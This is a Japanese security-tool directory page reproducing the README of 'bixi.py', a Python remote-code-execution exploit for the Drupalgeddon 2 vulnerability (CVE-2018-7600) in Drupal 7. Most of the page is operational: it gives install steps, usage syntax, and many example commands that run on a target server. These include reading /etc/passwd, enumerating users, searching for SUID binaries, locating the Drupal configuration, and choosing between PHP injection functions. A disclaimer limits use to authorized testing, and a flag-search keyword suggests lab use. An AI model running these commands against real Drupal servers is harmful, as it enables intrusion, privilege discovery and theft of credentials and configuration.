Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Drupalgeddon2-CVE-2018-7600 — CVE-2018-7600 (Drupalgeddon 2) の Python エクスプロイト。Drupal 7 でリモートコード実行を可能にし、Linux および Windows 用の複数のインジェクション方法と事前定義コマンドを備えています。 | Kitploit
ツール/GitHubGitHub/bixipro/drupalgeddon2-cve-2018-7600
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド＆コントロール学習と教育
GitHubbixipro/drupalgeddon2-cve-2018-7600

Drupalgeddon2-CVE-2018-7600

CVE-2018-7600 (Drupalgeddon 2) の Python エクスプロイト。Drupal 7 でリモートコード実行を可能にし、Linux および Windows 用の複数のインジェクション方法と事前定義コマンドを備えています。

リポジトリを見る
7ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🔥 Drupalgeddon 2 エクスプロイト — bixi.py

📖 説明

bixi.py は、Drupal 7 に影響する脆弱性 CVE‑2018‑7600 (Drupalgeddon 2) を対象とするエクスプロイトです。 直感的なインターフェースと定義済みコマンドを使用して、脆弱な Drupal サーバー上でリモートコマンド実行（RCE）を可能にします。

⚠️ 免責事項 / 法的通知

このソフトウェアは、管理された環境における教育および研究目的のみに使用してください。

  • 所有しているシステム、または書面によるテスト許可を得たシステムでのみ使用すること
  • 無許可の使用は違法であり、刑事罰につながる可能性があります
  • 作者は本ツールの誤用について一切責任を負いません
  • 常に地域および国際的なサイバーセキュリティ法を遵守してください

"大いなる力には大いなる責任が伴う"

📋 特徴

  • ✅ CVE‑2018‑7600 の自動エクスプロイト
  • ✅ Linux および Windows 向けの定義済みコマンド
  • ✅ 複数のインジェクション方式 (system, passthru, exec, )
shell_exec
  • ✅ ヘルプ機能を備えた直感的なインターフェース
  • ✅ 堅牢なエラー処理とタイムアウト管理
  • ✅ 読みやすく整形された出力

    • 🚀 クイックインストール

    1. リポジトリのクローン

    root@kitploit:~
    git clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600

    2. 依存関係のインストール

    root@kitploit:~
    # Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests

# Otras distribuciones
pip3 install requests

    3. 実行権限の付与

    root@kitploit:~
    chmod +x bixi.py

    🎯 基本的な使い方

    完全なヘルプを表示

    root@kitploit:~
    python3 bixi.py --help

    一般的な構文

    root@kitploit:~
    python3 bixi.py <URL> <COMANDO/PALABRA_CLAVE> [INJECTION_TYPE]

    実行例

    root@kitploit:~
    # Verificar vulnerabilidad
python3 bixi.py http://10.99.99.6/drupal/ test

# Detectar sistema operativo
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows

# Enumerar usuarios
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user

# Información del sistema
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig

# Comandos personalizados
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"

    📊 定義済みキーワード

    🐧 Linux

    ComandoDescripción
    linuxシステム情報
    users_linuxユーザー一覧
    idユーザー/グループ情報
    lsファイル一覧
    ifconfigネットワーク情報
    find_flagフラグを検索

    🪟 Windows

    ComandoDescripción
    windowsシステム情報
    net_userユーザー一覧
    whoami_win詳細情報
    ipconfigネットワーク
    netstat_win接続状況
    dirディレクトリ一覧

    🔧 ペンテスト

    ComandoDescripción
    sudosudo 権限の確認
    suidSUID バイナリの検索
    net_localgroupローカルグループ
    drupal_config設定の検索
    drupal_versionDrupal のバージョン取得

    🎨 インジェクション方式

    root@kitploit:~
    # system (default)
python3 bixi.py http://target/ "whoami" system

# passthru
python3 bixi.py http://target/ "whoami" passthru

# exec
python3 bixi.py http://target/ "whoami" exec

# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec

    🏗️ プロジェクト構成

    root@kitploit:~
    drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│   ├── linux_commands.txt
│   └── windows_commands.txt
└── screenshots/
    ├── help_screen.png
    └── exploit_success.png

    🔧 詳細設定

    プロキシ（オプション）

    root@kitploit:~
    proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

    タイムアウト

    デフォルト値（15秒）を変更:

    root@kitploit:~
    timeout=15

    新しいコマンドの追加

    get_command_for_keyword() 内の commands 辞書を編集します

    🐛 トラブルシューティング

    エラー: No module named 'requests'

    root@kitploit:~
    pip3 install requests

    エラー: Connection refused

    root@kitploit:~
    # Verificar conectividad
ping TARGET_IP

# Verificar ruta Drupal
curl http://TARGET_IP/drupal/
    ツールをダウンロード